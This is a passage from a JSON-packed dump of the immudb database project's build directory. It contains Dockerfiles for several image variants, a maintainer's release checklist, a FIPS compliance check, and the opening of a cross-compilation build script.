--start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER immu\nENTRYPOINT [\"/usr/sbin/immudb\"]\n\n\nFROM scratch as scratch\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\nARG IMMUDB_HOME=\"/usr/share/immudb\"\n\nENV IMMUDB_HOME=\"${IMMUDB_HOME}\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\" \\\n    USER=immu \\\n    HOME=\"${IMMUDB_HOME}\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty \"$IMMUDB_HOME\"\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty \"$IMMUDB_DIR\"\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty /tmp\nCOPY --from=build \"/etc/ssl/certs/ca-certificates.crt\" \"/etc/ssl/certs/ca-certificates.crt\"\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER \"${IMMU_UID}:${IMMU_GID}\"\nENTRYPOINT [\"/usr/sbin/immudb\"]\n"
  },
  {
    "path": "build/Dockerfile.alma",
    "content": "FROM golang:1.24 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY . .\nRUN make clean\nRUN make prerequisites\nRUN make swagger\nRUN make swagger/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static\nRUN mkdir /empty\n\nFROM almalinux:8-minimal as alma\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\n\nENV IMMUDB_HOME=\"/usr/share/immudb\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\"\n\nRUN echo \"immu:x:3322:\" >> /etc/group && \\\n    echo \"immu:x:3322:3322:immudb:$IMMUDB_HOME:/bin/false\" >> /etc/passwd && \\\n    mkdir -p \"$IMMUDB_HOME\" && \\\n    mkdir -p \"$IMMUDB_DIR\" && \\\n    chown -R $IMMUDB_UID:$IMMUDB_GID \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod -R 755 \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER immu\nENTRYPOINT [\"/usr/sbin/immudb\"]\n"
  },
  {
    "path": "build/Dockerfile.full",
    "content": "FROM golang:1.24 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download -x\nCOPY . .\nRUN make clean\nRUN make prerequisites\nRUN make swagger\nRUN make swagger/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static immuclient-static\nRUN mkdir /empty\n\nFROM debian:11.7-slim as bullseye-slim\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /src/immuclient /usr/local/bin/\nCOPY --from=build \"/etc/ssl/certs/ca-certificates.crt\" \"/etc/ssl/certs/ca-certificates.crt\"\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\n\nENV IMMUDB_HOME=\"/usr/share/immudb\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\"\n\nRUN addgroup --system --gid $IMMU_GID immu && \\\n    adduser --system --uid $IMMU_UID --ingroup immu immu && \\\n    mkdir -p \"$IMMUDB_HOME\" && \\\n    mkdir -p \"$IMMUDB_DIR\" && \\\n    chown -R immu:immu \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod -R 755 \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin /usr/local/bin/immuclient\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER immu\nENTRYPOINT [\"/usr/sbin/immudb\"]\n"
  },
  {
    "path": "build/Dockerfile.immuadmin",
    "content": "FROM golang:1.24 as build\r\nARG BUILD_ARCH=amd64\r\nWORKDIR /src\r\nCOPY . .\r\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static\r\n\r\nFROM debian:11.7-slim as bullseye\r\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\r\n\r\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\r\n\r\nARG IMMU_UID=\"3322\"\r\nARG IMMU_GID=\"3322\"\r\nARG IMMUADMIN_TOKENFILE_PATH=/var/lib/immudb\r\n\r\nENV IMMUADMIN_IMMUDB_ADDRESS=\"127.0.0.1\" \\\r\n    IMMUADMIN_IMMUDB_PORT=\"3322\" \\\r\n    IMMUADMIN_MTLS=\"false\" \\\r\n    IMMUADMIN_TOKENFILE=\"$IMMUADMIN_TOKENFILE_PATH/token_admin\"\r\n\r\nRUN addgroup --system --gid $IMMU_GID immu && \\\r\n    adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \\\r\n    mkdir -p \"$IMMUADMIN_TOKENFILE_PATH\" && \\\r\n    chown -R immu:immu \"$IMMUADMIN_TOKENFILE_PATH\" && \\\r\n    chmod +x /usr/local/bin/immuadmin\r\n\r\nUSER immu\r\nENTRYPOINT [\"/usr/local/bin/immuadmin\"]\r\n"
  },
  {
    "path": "build/Dockerfile.immuclient",
    "content": "FROM golang:1.24 as build\r\nARG BUILD_ARCH=amd64\r\nWORKDIR /src\r\nCOPY . .\r\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-static\r\n\r\nFROM debian:11.7-slim as bullseye\r\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\r\n\r\nCOPY --from=build /src/immuclient /app/immuclient\r\n\r\nENV IMMUCLIENT_IMMUDB_ADDRESS=\"127.0.0.1\" \\\r\n    IMMUCLIENT_IMMUDB_PORT=\"3322\" \\\r\n    IMMUCLIENT_AUTH=\"true\" \\\r\n    IMMUCLIENT_MTLS=\"false\"\r\n\r\nRUN chmod +x /app/immuclient\r\n\r\nENTRYPOINT [\"/app/immuclient\"]\r\n"
  },
  {
    "path": "build/Dockerfile.rndpass",
    "content": "FROM golang:1.24 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY . .\nRUN make clean\nRUN make prerequisites\nRUN make swagger\nRUN make swagger/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static\n\nFROM debian:11.7-slim\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\nCOPY tools/rndpass/startup.sh /usr/local/bin/startup.sh\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\n\nENV IMMUDB_HOME=\"/usr/share/immudb\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\"\n\nRUN addgroup --system --gid $IMMU_GID immu && \\\n    adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \\\n    mkdir -p \"$IMMUDB_HOME\" && \\\n    mkdir -p \"$IMMUDB_DIR\" && \\\n    chown -R immu:immu \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod -R 755 \"$IMMUDB_HOME\" \"$IMMUDB_DIR\" && \\\n    chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER immu\nENTRYPOINT [\"/usr/local/bin/startup.sh\", \"/usr/sbin/immudb\"]\n"
  },
  {
    "path": "build/RELEASING.md",
    "content": "# Releasing a new `immudb` version\n\nThis document provides all steps required by a maintainer to release a new `immudb` version.\n\nWe assume all commands are entered from the root of the `immudb` working directory.\nThis project adheres to [Semantic Versioning][semever],\nin this document we will use vX.Y.V as placeholder for the version we are going to release.\n\nBefore releasing, ensure that all modifications have been tested and pushed.\nWhen the release introduce a user-facing change, please ensure the documentation is updated accordingly.\n\n[semver]: https://semver.org/spec/v2.0.0.html\n\n## About the branching model\n\nAlthough `immudb` aims to have a \"[OneFlow][oneflow]\" git branching model,\n[release branches][relbranches] have never been used.\nThus, the instructions on the current document assume that just the `master` branch is used for the release process\n(with all modifications previously merged in). However the whole process can be easily adapter to a release branch if needed.\n\nDuring the release process, an additional `release/vX.Y.Z` is created to trigger github actions needed to prepare binaries.\nThat branch is removed after the release is finished.\n\n[oneflow]: https://www.endoflineblog.com/oneflow-a-git-branching-model-and-workflow\n[relbranches]: https://www.endoflineblog.com/oneflow-a-git-branching-model-and-workflow#release-branches\n\n## 1. Ensure the matching release of the webconsole is ready\n\nWhen building final binaries, a matching release of the [webconsole] will be used.\nMake sure that the appropriate version is released there.\n\nAlso make sure that the `webconsole/dist` folder does not exist,\nany existing content will be used instead of the released webconsole version:\n\n```sh\nmake clean\n```\n\n[webconsole]: https://github.com/codenotary/immudb-webconsole/releases/latest\n\n## 2. Create release branch and bump version (vX.Y.Z)\n\nSwitch to a new branch from `master` called `release/vX.Y.Z`.\nDo not push yet as it triggers build process.\n\nEdit `Makefile` and modify the `VERSION` and `DEFAULT_WEBCONSOLE_VERSION` variables:\n\n```Makefile\nVERSION=X.Y.Z\nDEFAULT_WEBCONSOLE_VERSION=A.B.C\n```\n\n> N.B. Omit the `v` prefix.\n\nThen run:\n\n```sh\nmake CHANGELOG.md.next-tag\n```\n\nFor non-RC versions: bump the version of the helm chart, in `helm/Chart.yaml`\n\n```yaml\n[...]\nversion: a.b.c\nappVersion: \"X.Y.Z\"\n```\n\nThe first line (`version`) is the version of the helm chart, the second the version of immudb.\nWe may want to keep them aligned.\n\nFor non-RC versions: bump the version in the README.md file in examples on how to download immudb binaries.\n\n## 3. Commit and push the release branch\n\nAdd the files modified above to the git index:\n\n```sh\ngit add Makefile\ngit add CHANGELOG.md\ngit add helm/Chart.yaml\ngit commit -m \"release: vX.Y.Z\"\n```\n\nThen push the `release/vX.Y.Z` branch to github.\n\n## 4. Tag the release locally\n\n```sh\ngit tag vX.Y.Z\n```\n\n> Do not push this tag now.\n\n## 5. Wait for github to build release files and docker images\n\nBinaries and docker images are built automatically with github actions.\n\n## 6. Create a draft pre-release in GitHub\n\nOn GitHub, [draft a new release](https://github.com/codenotary/immudb/releases),\nattach all binaries built on github.\nBinaries will be available as a single compressed artifact from the `pushCI` action.\nDownload it, decompress locally and upload as separate binary files.\n\nDo not assign any specific tag to this release yet. Save it as a draft.\n\n> Assets will not be available until the release is published so postpone links generation.\n\nUse the following template for release notes:\n\n```md\n# Changelog\n\n<!-- copy and past here the latest part from CHANGELOG.md -->\n\n# Downloads\n\n<!--\n    Paste output from github step: pushCI / Build binaries and notarize sources/Calculate checksums\n    Ensure to paste as a plain text\n-->\n```\n\nIn the changelog section of non-RC releases, also include changes for all prior RC versions.\n\n## 7. Validate dist files\n\nFollowing binaries are validated automatically in github actions:\n\n* linux-amd64\n* linux-amd64-static\n* linux-arm64\n* windows-amd64\n* darwin-amd64\n\nThe following builds have to be manually tested:\n\n* darwin-arm64\n* freebsd-amd64\n\nThose are not currently tested due to lack of github runners for them.\n\nThe following manual tests should be performed:\n\n* Run immudb server, make sure it works as expected\n* Check the webconsole - make sure it shows correct versions on the footer after login\n* connect to the immudb server with immuclient and perform few get/set operations\n* connect to the immudb server with immuadmin and perform few operations such as creating and listing databases\n\n## 8. Push and edit the release on github\n\nCreate the master branch from the release branch and push the new master:\n\n```sh\n# Push new master\ngit checkout -B master release/vX.Y.Z\ngit push origin master\n\n# Push the version tag\ngit push origin vX.Y.Z\n```\n\nThen it's needed to choose the appropriate git tag on the newly created github release page.\nMark this tag as a `pre-release` for now and publish the draft.\n\n> From now on, your release will be publicly visible, and github actions should start building docker images for `immudb`.\n\nOnce tags are pushed, corresponding docker images will be automatically built and notarized in CI pipelines.\n\nNon-RC versions: Once everything works correctly, uncheck the `pre-release` mark.\n\nFinally remove the temporary release branch:\n\n```sh\ngit branch -d release/vX.Y.Z\ngit push origin :release/vX.Y.Z\n```\n\n## 9. Non-RC versions: Create documentation for the version\n\nDocumentation is kept inside the [immudb.io repo](https://github.com/codenotary/immudb.io).\n\nMake sure that the documentation in `src/master` is up-to-date and then copy it to `src/<version>` folder.\nThis includes changing the version in examples in how to download and run immudb binaries (get started / quickstart section).\nAlso make sure to update the SDK compatibility matrix (get started / sdks).\n\nOnce done, add new version to the list in the [version constant in src/.vuepress/theme/util/index.js file][index.js]\nand adjust the right-side menu list in the [getSidebar function in src/.vuepress/enhanceApp.js file][enhanceApp.js].\n\nOnce those changes end up in master, the documentation will be compiled and deployed automatically.\n\n[index.js]: https://github.com/codenotary/immudb.io/blob/master/src/.vuepress/theme/util/index.js#L242\n[enhanceApp.js]: https://github.com/codenotary/immudb.io/blob/master/src/.vuepress/enhanceApp.js#L27\n\n## 10. Non-RC versions: Update immudb readme on docker hub\n\nOnce the release is done, make sure that the readme in docker hub are up-to-date.\nFor immudb please edit the Readme in <https://hub.docker.com/repository/docker/codenotary/immudb>\nand synchronize it with README.md from this repository.\n\n## 11. Non-RC versions: Post-release actions\n\nOnce the release is done, following post-release actions are needed\n\n* Ensure the new [brew version](https://formulae.brew.sh/formula/immudb) is ready -\n  should happen automatically but sometimes it may need some manual fixes in\n  [the formula file](https://github.com/Homebrew/homebrew-core/blob/master/Formula/immudb.rb)\n* Ensure that playground and demo have the updated immudb (should happen automatically within 24h)\n* Ensure [helm chart on artifacthub](https://artifacthub.io/packages/helm/codenotary/immudb) is updated (needs manual update of our helm image)\n* Start release of new AWS image (manual process)\n* Create PR with updates to this file if there were any undocumented / unclear steps\n"
  },
  {
    "path": "build/e2e/Dockerfile",
    "content": "FROM golang:1.18 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download\nCOPY . .\nRUN rm -rf /src/webconsole/dist\nRUN GOOS=linux GOARCH=arm64 WEBCONSOLE=default make immuadmin-static immudb-static\nRUN mkdir /empty\n\nFROM gcr.io/distroless/base:nonroot AS distroless\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nARG IMMUDB_HOME=\"/usr/share/immudb\"\n\nWORKDIR /usr/bin\nCOPY --from=build /src/immudb .\nCOPY --from=build /src/immuadmin .\n\n\nENV IMMUDB_HOME=\"${IMMUDB_HOME}\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\" \\\n    USER=nonroot \\\n    HOME=\"${IMMUDB_HOME}\"\n\nCOPY --from=build --chown=nonroot:nonroot /empty \"$IMMUDB_HOME\"\nCOPY --from=build --chown=nonroot:nonroot /empty \"$IMMUDB_DIR\"\nCOPY --from=build --chown=nonroot:nonroot /empty /tmp\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/bin/immuadmin\", \"status\" ]\nUSER nonroot\nENTRYPOINT [\"/usr/bin/immudb\"]\n"
  },
  {
    "path": "build/fips/Dockerfile",
    "content": "# This version of Go is a Go+BoringCrypto release for FIPS 140-2 compliance\nFROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build-fips\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download -x\nCOPY . .\nRUN rm -rf /src/webconsole/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default make immuadmin-fips immudb-fips\nRUN mkdir /empty\n\n### distroless FIPS 140-2\nFROM gcr.io/distroless/base:nonroot AS distroless-fips\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nARG IMMUDB_HOME=\"/usr/share/immudb\"\n\nWORKDIR /usr/bin\nCOPY --from=build-fips /src/immudb .\nCOPY --from=build-fips /src/immuadmin .\n\n\nENV IMMUDB_HOME=\"${IMMUDB_HOME}\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\" \\\n    USER=nonroot \\\n    HOME=\"${IMMUDB_HOME}\"\n\nCOPY --from=build-fips --chown=nonroot:nonroot /empty \"$IMMUDB_HOME\"\nCOPY --from=build-fips --chown=nonroot:nonroot /empty \"$IMMUDB_DIR\"\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/bin/immuadmin\", \"status\" ]\nUSER nonroot\nENTRYPOINT [\"/usr/bin/immudb\"]\n"
  },
  {
    "path": "build/fips/Dockerfile.build",
    "content": "FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build-fips\nARG USERNAME=fipsadmin\nARG USER_UID=1000\nARG USER_GID=$USER_UID\n\n# Create the user\nRUN groupadd --gid $USER_GID $USERNAME \\\n    && useradd --uid $USER_UID --gid $USER_GID -m $USERNAME\n\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download\nCOPY . .\nRUN rm -rf /src/webconsole/dist\n\nRUN chown -R $USER_UID:$USER_GID /src/\nRUN chmod 755 /src\n\nUSER $USERNAME\nENTRYPOINT [\"/bin/bash\"]"
  },
  {
    "path": "build/fips/Dockerfile.immuadmin",
    "content": "FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build\r\nARG BUILD_ARCH=amd64\r\nWORKDIR /src\r\nCOPY . .\r\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-fips\r\n\r\n### distroless FIPS 140-2\r\nFROM gcr.io/distroless/base:nonroot AS distroless-fips\r\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\r\n\r\nWORKDIR /usr/local/bin\r\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\r\n\r\nENV IMMUADMIN_IMMUDB_ADDRESS=\"127.0.0.1\" \\\r\n    IMMUADMIN_IMMUDB_PORT=\"3322\" \\\r\n    IMMUADMIN_MTLS=\"false\" \\\r\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb\"\r\n\r\nUSER nonroot\r\nENTRYPOINT [\"/usr/local/bin/immuadmin\"]\r\n"
  },
  {
    "path": "build/fips/Dockerfile.immuclient",
    "content": "FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build\r\nWORKDIR /src\r\nCOPY . .\r\nRUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-fips\r\n\r\n### distroless FIPS 140-2\r\nFROM gcr.io/distroless/base:nonroot AS distroless-fips\r\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\r\n\r\nWORKDIR /usr/local/bin\r\nCOPY --from=build /src/immuclient /usr/local/bin/immuclient\r\n\r\nENV IMMUCLIENT_IMMUDB_ADDRESS=\"127.0.0.1\" \\\r\n    IMMUCLIENT_IMMUDB_PORT=\"3322\" \\\r\n    IMMUCLIENT_AUTH=\"true\" \\\r\n    IMMUCLIENT_MTLS=\"false\"\r\n\r\nUSER nonroot\r\nENTRYPOINT [\"/usr/local/bin/immuclient\"]\r\n"
  },
  {
    "path": "build/fips/check-fips.sh",
    "content": "# Pass the path to the executable to check for FIPS compliance\nexe=$1\n\nif [ \"$(go tool nm \"${exe}\" | grep -c '_Cfunc__goboringcrypto_')\" -eq 0 ]; then\n    # Asserts that executable is using FIPS-compliant boringcrypto\n    echo \"${exe}: missing goboring symbols\" >&2\n    exit 1\nfi\n\necho \"${exe} is FIPS-compliant\""
  },
  {
    "path": "build/gen-downloads-md.sh",
    "content": "#!/bin/sh\n\nset -eu\n\ncd \"$(dirname \"$0\")/../dist/\"\n\nVERSION=\"$1\"\n\ngenerate_checksums_for()\n{\n    cat <<EOF\n\n**$1 Binaries**\n\nFile | SHA256\n------------- | -------------\n$(\n    for f in $1*; do\n        ff=\"$(basename $f)\"\n\t\tshm_id=\"$(sha256sum \"$f\" | awk '{print $1}')\"\n\t\tprintf \"[$ff](https://github.com/codenotary/immudb/releases/download/v${VERSION}/$ff) | $shm_id \\n\"\n    done\n)\nEOF\n}\n\ncat <<EOF\n# Downloads\n\n**Docker image**\nhttps://hub.docker.com/r/codenotary/immudb\n\n\nEOF\n\ngenerate_checksums_for immudb\ngenerate_checksums_for immuclient\ngenerate_checksums_for immuadmin\n"
  },
  {
    "path": "build/xgo/Dockerfile",
    "content": "FROM techknowlogick/xgo:go-1.13.x@sha256:5ad8a3a0a6576e50c1d3e797ab8c2e186caa83c3f062cc275e1a25e29ade1204\n\n# Inject the customized build script\nCOPY build.sh /build.sh\nENV BUILD /build.sh\nRUN chmod +x $BUILD\n\nENTRYPOINT [\"/build.sh\"]\n"
  },
  {
    "path": "build/xgo/build.sh",
    "content": "#!/bin/bash\n#\n# Patched script of xgo build.sh (MIT license)\n# Fork: https://github.com/techknowlogick/xgo\n# Original script https://github.com/techknowlogick/xgo/blob/master/docker/base/build.sh\n#\n#\n# Contains the main cross compiler, that individually sets up each target build\n# platform, compiles all the C dependencies, then build the requested executable\n# itself.\n#\n# Usage: build.sh <import path>\n#\n# Needed environment variables:\n#   REPO_REMOTE    - Optional VCS remote if not the primary repository is needed\n#   REPO_BRANCH    - Optional VCS branch to use, if not the master branch\n#   DEPS           - Optional list of C dependency packages to build\n#   ARGS           - Optional arguments to pass to C dependency configure scripts\n#   PACK           - Optional sub-package, if not the import path is being built\n#   OUT            - Optional output prefix to override the package name\n#   FLAG_V         - Optional verbosity flag to set on the Go builder\n#   FLAG_X         - Optional flag to print the build progress commands\n#   FLAG_RACE      - Optional race flag to set on the Go builder\n#   FLAG_TAGS      - Optional tag flag to set on the Go builder\n#   FLAG_LDFLAGS   - Optional ldflags flag to set on the Go builder\n#   FLAG_BUILDMODE - Optional buildmode flag to set on the Go builder\n#   TARGETS        - Space separated list of build targets to compile for\n#   GO_VERSION     - Bootstrapped version of Go to disable uncupported targets\n#   EXT_GOPATH     - GOPATH elements mounted from the host filesystem\n\n# Define a function that figures out the binary extension\nfunction extension {\n  if [ \"$FLAG_BUILDMODE\" == \"archive\" ] || [ \"$FLAG_BUILDMODE\" == \"c-archive\" ]; then\n    if [ \"$1\" == \"windows\" ]; then\n      echo \".lib\"\n    else\n      echo \".a\"\n    fi\n  elif [ \"$FLAG_BUILDMODE\" == \"shared\" ] || [ \"$FLAG_BUILDMODE\" == \"c-shared\" ]; then\n    if [ \"$1\" == \"windows\" ]; then\n      echo \".dll\"\n    elif [ \"$1\" == \"darwin\" ]; then\n      echo \".dylib\"\n    else\n      echo \".so\"\n    fi\n  else\n    if [ \"$1\" == \"windows\" ]; then\n      echo \".exe\"\n    fi\n  fi\n}\n\nmkdir -p /build\n\n# Detect if we are using go modules\nif [[ \"$GO111MODULE\" == \"on\" || \"$GO111MODULE\" == \"auto\" ]]; then\n  USEMODULES=true\n  else\n  USEMODULES=false\nfi\n\n# Either set a local build environemnt, or pull any remote imports\nif [ \"$EXT_GOPATH\" != \"\" ]; then\n  # If local builds are requested, inject the sources\n  echo \"Building locally $1...\"\n  export GOPATH=$GOPATH:$EXT_GOPATH\n  set -e\n\n  # Find and change into the package folder\n  cd `go list -e -f {{.Dir}} $1`\n  export GOPATH=$GOPATH:`pwd`/Godeps/_workspace\nelif [[ \"$USEMODULES\" == true ]]; then\n  # Go module builds should assume a local repository\n  # at mapped to /source containing at least a go.mod file.\n  if [[ ! -d /source ]]; then\n    echo \"Go modules are enabled but go.mod was not found in the source folder.\"\n    exit 10\n  fi\n  # Change into the repo/source folder\n  cd /source\n  echo \"Building /source/go.mod...\"\nelse\n  # Inject all possible Godep paths to short circuit go gets\n  GOPATH_ROOT=$GOPATH/src\n  IMPORT_PATH=$1\n  while [ \"$IMPORT_PATH\" != \".\" ]; do\n    export GOPATH=$GOPATH:$GOPATH_ROOT/$IMPORT_PATH/Godeps/_workspace\n    IMPORT_PATH=`dirname $IMPORT_PATH`\n  done\n\n  # Otherwise download the canonical import path (may fail, don't allow failures beyond)\n  echo \"Fetching main repository $1...\"\n  go get -v -d $1\n  set -e\n\n  cd $GOPATH_ROOT/$1\n\n  # Switch over the code-base to another checkout if requested\n  if [ \"$REPO_REMOTE\" != \"\" ] || [ \"$REPO_BRANCH\" != \"\" ]; then\n    # Detect the version control system type\n    IMPORT_PATH=$1\n    while [ \"$IMPORT_PATH\" != \".\" ] && [ \"$REPO_TYPE\" == \"\" ]; do\n      if [ -d \"$GOPATH_ROOT/$IMPORT_PATH/.git\" ]; then\n        REPO_TYPE=\"git\"\n      elif  [ -d 